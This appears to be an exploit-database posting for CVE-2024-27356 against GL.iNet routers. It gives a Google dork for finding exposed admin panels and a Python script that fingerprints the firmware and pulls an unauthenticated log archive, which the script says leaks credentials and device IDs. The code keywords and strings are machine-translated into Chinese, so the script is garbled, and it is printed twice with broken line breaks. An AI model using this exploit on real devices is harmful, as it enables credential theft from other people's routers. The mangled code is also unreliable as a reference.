#利用标题: GL -INET MT6000 4.5.5-任意文件下载
#CVE: CVE-2024-27356
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: 2/26/2024
#利用作者: Bandar Alharbi(侵略者)
#供应商homepage: www.gl-inet.com
#测试软件链接: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-4.0-0406release1-0123-1705996441.bin
#测试模型: GL-X3000 Spitz Ax
#受影响的产品和固件版本: https://github.com/gl-inet/cve-issues/blob/main/4.0.0/download_file_vulnerability.md
导入系统
导入请求
进口JSON
requests.packages.urllib3.disable_warnings()
h={'content-type':'Application/json; charset=utf-8','user-agent':'mozilla/5.0(兼容; contxbot/1.0)'}
def doestarexist():
r=requests.get(url+'/js/logread.tar',verify=false,timeout=30,标头=h)
如果r.status_code==200:
f=open('logread.tar','wb')
F.Write(R.Content)
f.close()
打印('[*]完整日志存档
打印('[*]不要忘记将其解开并抓住它!它泄漏了机密信息,例如凭据,注册的设备ID等等!')
返回true
其他:
打印('[*]
返回false
DEF ISVULNEABLE():
r1=requests.post(url+'/rpc',验证=false,超时=30,标头=h)
如果r1.status_code==500和r1.text:中的'nginx'
r2=requests.get(url+'/views/gl-sdk4-ui-login.common.js',verify=false=false,timeout=30,headers=h)
如果在r2.Text:中为“管理”
j={'jsonrpc':'2.0','id':1,'method':'call','params': ['''','ui','check_initialized']}
r3=requests.post(url+'/rpc',verify=false,json=j,timeout=30,headers=h)
ver=r3.json()['result'] ['strindware_version']
模型=r3.json()['result'] ['模型']
如果ver.startswith((('4.')):
print('[*]固件版本(%s)很脆弱!'%ver)
打印('[*]设备型号IS:%S'%型号)
返回true
print('[*]固件版本不脆弱,或者目标可能不是GL.Inet设备!')
返回false
def isalive():
TRY:
r=requests.get(url,verify=false,timeout=30,标头=h)
如果r.status_code!=200:
打印('[*]确保目标的网络接口可访问!')
返回false
elif r.status_code==200:
打印('[*]目标可以达到!')
返回true
除异常:
打印('[*]连接到目标时发生错误!')
经过
返回false
如果name=='__ -Main __':
如果Len(sys.argv)!=2:
打印('exploit.py url')
sys.exit(0)
url=sys.argv [1]
url=url.lower()
如果不是url.startswith((('http://','https://')):
打印('[*]无效的URL格式!它应该是http : //域或ip')
sys.exit(0)
如果url.endswith('/'):
url=url.rstrip('/')
打印('[*] gl.inet未经身份验证的完整日志下载器')
TRY:
if(isalive(isalive()和isvulnerable())==(true and true):
doestarexist()
除了键盘Interrupt:
打印('[*]用户已停止了利用!')
sys.exit(0)
#CVE: CVE-2024-27356
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: 2/26/2024
#利用作者: Bandar Alharbi(侵略者)
#供应商homepage: www.gl-inet.com
#测试软件链接: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-4.0-0406release1-0123-1705996441.bin
#测试模型: GL-X3000 Spitz Ax
#受影响的产品和固件版本: https://github.com/gl-inet/cve-issues/blob/main/4.0.0/download_file_vulnerability.md
导入系统
导入请求
进口JSON
requests.packages.urllib3.disable_warnings()
h={'content-type':'Application/json; charset=utf-8','user-agent':'mozilla/5.0(兼容; contxbot/1.0)'}
def doestarexist():
r=requests.get(url+'/js/logread.tar',verify=false,timeout=30,标头=h)
如果r.status_code==200:
f=open('logread.tar','wb')
F.Write(R.Content)
f.close()
打印('[*]完整日志存档
logread.tar
已下载!')打印('[*]不要忘记将其解开并抓住它!它泄漏了机密信息,例如凭据,注册的设备ID等等!')
返回true
其他:
打印('[*]
logread.tar
档案不存在.但是.稍后再试!')返回false
DEF ISVULNEABLE():
r1=requests.post(url+'/rpc',验证=false,超时=30,标头=h)
如果r1.status_code==500和r1.text:中的'nginx'
r2=requests.get(url+'/views/gl-sdk4-ui-login.common.js',verify=false=false,timeout=30,headers=h)
如果在r2.Text:中为“管理”
j={'jsonrpc':'2.0','id':1,'method':'call','params': ['''','ui','check_initialized']}
r3=requests.post(url+'/rpc',verify=false,json=j,timeout=30,headers=h)
ver=r3.json()['result'] ['strindware_version']
模型=r3.json()['result'] ['模型']
如果ver.startswith((('4.')):
print('[*]固件版本(%s)很脆弱!'%ver)
打印('[*]设备型号IS:%S'%型号)
返回true
print('[*]固件版本不脆弱,或者目标可能不是GL.Inet设备!')
返回false
def isalive():
TRY:
r=requests.get(url,verify=false,timeout=30,标头=h)
如果r.status_code!=200:
打印('[*]确保目标的网络接口可访问!')
返回false
elif r.status_code==200:
打印('[*]目标可以达到!')
返回true
除异常:
打印('[*]连接到目标时发生错误!')
经过
返回false
如果name=='__ -Main __':
如果Len(sys.argv)!=2:
打印('exploit.py url')
sys.exit(0)
url=sys.argv [1]
url=url.lower()
如果不是url.startswith((('http://','https://')):
打印('[*]无效的URL格式!它应该是http
sys.exit(0)
如果url.endswith('/'):
url=url.rstrip('/')
打印('[*] gl.inet未经身份验证的完整日志下载器')
TRY:
if(isalive(isalive()和isvulnerable())==(true and true):
doestarexist()
除了键盘Interrupt:
打印('[*]用户已停止了利用!')
sys.exit(0)